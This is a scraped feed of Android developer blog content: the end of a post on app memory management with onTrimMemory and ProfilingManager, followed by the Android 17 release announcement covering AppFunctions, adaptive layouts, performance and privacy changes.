<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
